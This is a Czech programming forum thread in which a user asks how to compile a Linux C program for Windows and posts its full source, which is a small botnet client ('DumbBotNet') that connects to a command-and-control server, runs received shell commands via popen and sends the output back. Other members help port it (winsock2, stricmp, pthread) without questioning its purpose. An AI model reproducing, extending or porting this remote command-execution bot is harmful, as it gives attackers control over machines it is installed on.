Diskuze: Kompilace pod Linuxem

C++ C a C++ Kompilace pod Linuxem

Avatar
Marek
Člen
Avatar
Marek:

Ahoj,
měl bych dotaz. Mám program v cistem C napsany pod linuxem. Nemam problem jej zkompilovat a spustit pod linuxem. Jde jej však zkompilovat tak, aby byl spustitelný pod Windows?

Díky

 
Odpovědět 25. srpna 2:56
Avatar
David Novák
Tým ITnetwork
Avatar
Odpovídá na Marek
David Novák:

Záleží, co tam používáš - pokud jsi ho napsal bez použití záležitostí specifických pro Linux, tak prostě vezmi kód a přelož ho v libovolném kompilátoru na Windows (nebo je i možnost po nějaké té konfiguraci kompilovat na Linuxu binárky pro Windows)..

Pokud používáš Linuxové funkce (tj. je tam třeba něco jako: #include <linux/....h> - libovolný nestandardní hlavičkový soubor), tak ti nezbývá nic jiného, než použít http://www.mingw.org/ nebo http://www.cygwin.com/, pokud potřebuješ POSIX.

Nahoru Odpovědět  +1 25. srpna 8:38
Chyba je mezi klávesnicí a židlí.
Avatar
Marek
Člen
Avatar
Marek:

Mingw to vyřešil, díky moc. Ale ještě bych měl prosbu pánové. Nevíte co s tím?

Při kompilaci mi to hází:

bot.c: In function 'bot_parse':
bot.c:66:7: warning: implicit declaration of function 'strcasecmp' [-Wimplicit-function-declaration]
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
^
c:/mingw/bin/­../lib/gcc/min­gw32/5.3.0/../­../../../mingw32/bin/ld­.exe: cannot find -lpthread
collect2.exe: error: ld returned 1 exit status

Fce "bot_parse" normálně po kompilaci pod linuxem nedělá problém, vypadá následnovně:

int
bot_parse (int s, char *msg)
{
  char *target = msg;
  char *cmd = NULL;

  if ((cmd = strchr (msg, ':')) == NULL)
    {
      printf ("!! Malformed command. Should be TARGET:command\n");
      return -1;
    }

  *cmd = 0;
  cmd++;
  cmd[strlen(cmd) - 1] = 0;

  if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
    return 0;

  printf ("+ Executing command: '%s'\n", cmd);
  bot_run_cmd (s, cmd);

  return 0;
}
 
Nahoru Odpovědět 25. srpna 10:29
Avatar
patrik.valkovic
Šéfredaktor
Avatar
Odpovídá na Marek
patrik.valkovic:

To je jenom warning, chyba je až to pod tím. Chybí tomu knihovna pthread.

Nahoru Odpovědět 25. srpna 10:32
Nikdy neumíme dost na to, abychom se nemohli něco nového naučit.
Avatar
Marek
Člen
Avatar
Marek:

Doinstalovaj jsem tedy knihovnu. Následně zkusil zkompilovat a hází mi to následující:

C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x209): undefined reference to `inet_addr@4'
C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x229): undefined reference to `htons@4'
C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x24f): undefined reference to `socket@12'
C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x290): undefined reference to `connect@12'
collect2.exe: error: ld returned 1 exit status

Já věděl, že převést to na windows nebude tak jednoduchý :)

Editováno 25. srpna 11:22
 
Nahoru Odpovědět 25. srpna 11:21
Avatar
Odpovídá na Marek
Libor Šimo (libcosenior):

Ma ten kod vela riadkov? Ak ni pastni ho sem a mozno ho niekto upravi pre windows. Ak si ho pisal sam, bolo by dobre ho okomentovat. Do hlavy programatora dost spatne vidiet.

Editováno 25. srpna 11:31
Nahoru Odpovědět 25. srpna 11:28
Aj tisícmíľová cesta musí začať jednoduchým krokom.
Avatar
Marek
Člen
Avatar
Marek:

Tak tady je. Pokud by se někdo nudil a by by ochoten to přepsat pod windows, budu mu vděčen. Třeba je chyba pouze mezi židlí a PC, proto mi to nelze přeložit.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define CC_SERVER "127.0.0.1"
#define CC_PORT 9999
#define MAX_BUF 1024

#define PEXIT(str) {perror (str);exit(1);}
static char *bot_id = NULL;

int
bot_print (int s, char *str)
{
  return write (s, str, strlen(str));
}

int
bot_read (int s, char *msg)
{
  memset (msg, 0, MAX_BUF);
  if (read (s, msg, MAX_BUF)  <= 0) PEXIT ("bot_read:");

  return 0;
}

int
bot_run_cmd (int s, char *cmd)
{
  char  line[1024];
  FILE *f = popen (cmd,"r");

  if (!f) return -1;
  while (!feof (f))
    {
      if (!fgets (line, 1024, f)) break;
      bot_print (s, bot_id);
      bot_print (s, ":");
      bot_print (s, line);
    }
  fclose(f);

  return 0;
}

int
bot_parse (int s, char *msg)
{
  char *target = msg;
  char *cmd = NULL;

  if ((cmd = strchr (msg, ':')) == NULL)
    {
      printf ("!! Malformed command. Should be TARGET:command\n");
      return -1;
    }

  *cmd = 0;
  cmd++;
  cmd[strlen(cmd) - 1] = 0;

  if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
    return 0;

  printf ("+ Executing command: '%s'\n", cmd);
  bot_run_cmd (s, cmd);

  return 0;
}


int
bot_connect_cc (char *ip, int port)
{
  char                 msg[1024];
  struct sockaddr_in   server;
  int                  s;

  server.sin_addr.s_addr = inet_addr(ip);
  server.sin_family = AF_INET;
  server.sin_port = htons(port);

  if ((s = socket (PF_INET, SOCK_STREAM, 0)) < 0)
    PEXIT ("socket:");
  if ((connect (s, (struct sockaddr*) &server, sizeof(server))) < 0)
    PEXIT ("conect:");
  snprintf (msg, 1024, "%s: This is '%s' Up and Running\n", bot_id, bot_id);
  bot_print (s, msg);

  return s;
}

int
main (int argc, char* argv[])
{
  char  msg[MAX_BUF];
  int   cc_s;

  if (argc !=2) PEXIT ("Invalid Number Of Arguments:");
  bot_id = strdup (argv[1]);

  printf ("'%s' joining the DumbBotNet\n", bot_id);
  cc_s = bot_connect_cc (CC_SERVER, CC_PORT);
  while (1)
    {
      bot_read (cc_s, msg);
      bot_parse (cc_s, msg);
    }
}
 
Nahoru Odpovědět 25. srpna 11:43
Avatar
Odpovídá na Marek
Libor Šimo (libcosenior):

Najdi si na nete ekvivalenty pre windows.
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
Asi bude treba niekde aj trochu upravit kod, aby s ekvivalentami komunikoval.
Za pomoci preprocesoru mozes potom spravit ten kod multiplatformovy.

Nahoru Odpovědět  +1 25. srpna 12:10
Aj tisícmíľová cesta musí začať jednoduchým krokom.
Avatar
Martin Dráb
Redaktor
Avatar
Odpovídá na Marek
Martin Dráb:

Ty síťové věci by mělo na Windows vyřešit

#include <winsock2.h>

Co se týče toho "implicit declaration", tak to bys opravdu neměl ignorovat, protože to v podstatě znamená, že nebyla nalezena hlavička pro danou funkci. Takže výsledek pak fungovat nebude. Warningy se nevyplatí nikdy ignorovat.

Co se týče strcasecmp, jejím ekvivalentem na Windows je stricmp.

Nahoru Odpovědět  +1 25. srpna 14:12
2 + 2 = 5 for extremely large values of 2
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 10 zpráv z 10.